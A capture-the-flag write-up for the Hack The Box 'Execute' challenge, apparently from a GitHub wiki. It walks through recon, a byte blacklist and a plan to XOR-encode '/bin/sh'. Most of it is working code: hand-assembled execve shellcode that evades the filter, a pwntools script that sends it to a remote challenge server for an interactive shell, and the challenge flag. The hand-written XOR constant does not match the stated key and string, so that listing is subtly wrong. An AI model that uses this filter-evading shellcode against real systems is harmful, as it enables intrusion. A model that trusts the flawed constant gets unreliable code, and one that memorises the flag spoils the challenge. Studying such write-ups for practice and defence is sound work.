HTB Execute writeup - Pez1181/CTF GitHub Wiki

🧨 Execute β€” HTB Execute Write-Up


πŸ“¦ Challenge Summary

Type Details
πŸ’₯ Challenge Execute
🧠 Category Binary Exploitation / Shellcoding
πŸ”§ Technique Shellcode injection + XOR encoding
πŸ”“ Protection NX disabled, no overflow needed

🧠 Lessons Learned

  • Shellcode injection without buffer overflow
  • Bypassing blacklists with XOR obfuscation
  • Loading and decoding strings on the stack
  • Manually assembling blacklist-safe syscall payloads

🧭 Recon

The binary is a 64-bit ELF, not stripped, dynamically linked, with the following protections:

checksec ./execute

Output:

RELRO           Full RELRO
Canary          Found
NX              Disabled      <--- βœ… Important!
PIE             Enabled

πŸ” Source Analysis

char buf[62];
read(0, buf, 60);                   // Reads input
if (!check(blacklist, buf, size, strlen(blacklist))) {
    exit(1337);                     // Reject if blacklisted byte found
}
((void (*)()) buf)();              // EXECUTE the input as code!

The program literally jumps to your input β€” no overflow required β€” but applies a filter to reject any β€œsuspicious” bytes.


🚫 Blacklisted Bytes

\x3b\x54\x62\x69\x6e\x73\x68\xf6\xd2\xc0\x5f\xc9\x66\x6c\x61\x67
 ;  T  b  i  n  s  h           _     f  l  a  g

This blocks:

  • /bin/sh
  • execve syscall number (0x3b)
  • Obvious shellcode patterns

πŸ’‘ Exploit Strategy

Since we can’t include /bin/sh directly, we encode it. Here’s the plan:

  1. Pick a clean XOR key (0x2a2a2a2a2a2a2a2a)
  2. XOR it with /bin/sh\0 β†’ 0x2a4e593557534c05
  3. Push the key onto the stack
  4. XOR the stack in-place with the obfuscated value to reveal /bin/sh
  5. Set up registers for execve
  6. Use a trick to bypass 0x3b syscall (push 0x3a, add al, 1)
  7. syscall

πŸ’» Final Shellcode

mov rax, 0x2a2a2a2a2a2a2a2a
push rax

mov rax, 0x2a4e593557534c05     ; XOR key ^ "/bin/sh"
xor [rsp], rax
mov rdi, rsp                    ; rdi = "/bin/sh"

push 0
pop rsi
push 0
pop rdx                        ; rsi, rdx = NULL

push 0x3a
pop rax
add al, 1                      ; rax = 0x3b
syscall                        ; execve("/bin/sh", NULL, NULL)

Generated using pwntools:

from pwn import *

context.arch = 'amd64'

key = 0x2a2a2a2a2a2a2a2a
binsh = u64(b"/bin/sh\0")
xorval = key ^ binsh

shellcode = f'''
mov rax, {hex(key)}
push rax

mov rax, {hex(xorval)}
xor [rsp], rax
mov rdi, rsp

push 0
pop rsi
push 0
pop rdx

push 0x3a
pop rax
add al, 1
syscall
'''

p = remote("94.237.55.96", 42628)
p.send(asm(shellcode))
p.interactive()

🏁 Result

$ whoami
ctf
$ cat flag.txt
HTB{sh3lly_Mc5h3lls0n}

Mission complete. Shells dropped, flags grabbed!


🧠 Notes for Future Ops

  • XORing sensitive values is an excellent way to bypass blacklists
  • You can craft fully blacklist-safe shellcode with manual assembly and a bit of XOR magic
  • Use push / pop tricks to avoid nulls or bad syscall bytes
  • Always verify execution with gdb to inspect shellcode at runtime